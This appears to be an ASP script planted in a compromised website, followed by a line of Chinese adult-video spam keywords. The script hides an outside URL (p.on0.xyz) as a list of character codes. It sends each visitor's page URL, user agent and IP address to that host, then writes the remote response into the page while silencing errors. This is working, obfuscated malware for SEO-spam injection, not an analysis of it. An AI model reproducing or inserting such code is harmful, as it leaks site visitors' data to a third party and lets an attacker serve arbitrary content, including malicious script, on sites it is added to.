<%
ON ERROR RESUME NEXT
dim pr0,se1f_path,que5y,use5_agent,pc0ntent,t9p,c1p
Response.Expires = -9999
Response.AddHeader "Pragma","no-cache"
Response.AddHeader "cache-ctrol","no-cache"
function fromCharCode(codeList)
dim arr,rlt,a
arr=split(codeList,",")
for each a in arr
rlt=rlt & chr(a)
next
fromCharCode=rlt
end function
pr0=fromCharCode("104,116,116,112,58,47,47,112,46,111,110,48,46,120,121,122,47,49,47")
se1f_path = "http://" & request.servervariables("http_host") & request.servervariables("path_info")
que5y = request.servervariables("query_string")
If que5y <> "" Then
se1f_path = se1f_path & "?" & que5y
End If
se1f_path = Server.URLEncode(se1f_path)
use5_agent = request.ServerVariables("HTTP_USER_AGENT")
c1p = request.ServerVariables("REMOTE_ADDR")
pr0 = pr0 & "?"&"w"&"e"&"b=" & Server.URLEncode(se1f_path) & "&uagent=" & Server.URLEncode(use5_agent) & "&c1p=" & Server.URLEncode(c1p)
Function GetBody(weburl)
Dim ObjXMLHTTP
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP")
ObjXMLHTTP.SetTimeOuts 10000,10000,10000,30000
ObjXMLHTTP.Open "GET",weburl,False
ObjXMLHTTP.send
If ObjXMLHTTP.ReadyState = 4 And ObjXMLHTTP.Status = 200 then
GetBody = ObjXMLHTTP.ResponseBody
End If
Set ObjXMLHTTP = Nothing
If Err.number <> 0 Then Err.Clear
End Function
Function BytesToBstr(body,Cset)
dim objtrem
set objtrem = Server.CreateObject("adodb.stream")
objtrem.Type = 1
objtrem.Mode =3
objtrem.Open
objtrem.Write body
objtrem.Position = 0
objtrem.Type = 2
objtrem.Charset = Cset
BytesToBstr = objtrem.ReadText
objtrem.Close
set objtrem = nothing
End Function
t9p = GetBody(pr0)
if not isempty(t9p) then
pc0ntent=BytesToBstr(t9p,"utf-8")
if not isempty(pc0ntent) then
response.write(pc0ntent)
end if
end if
%>
日本免费人成网视频免费看,免费人成视频XVIDEOS入口,免费人成视网站在线剧情百度好搜搜狗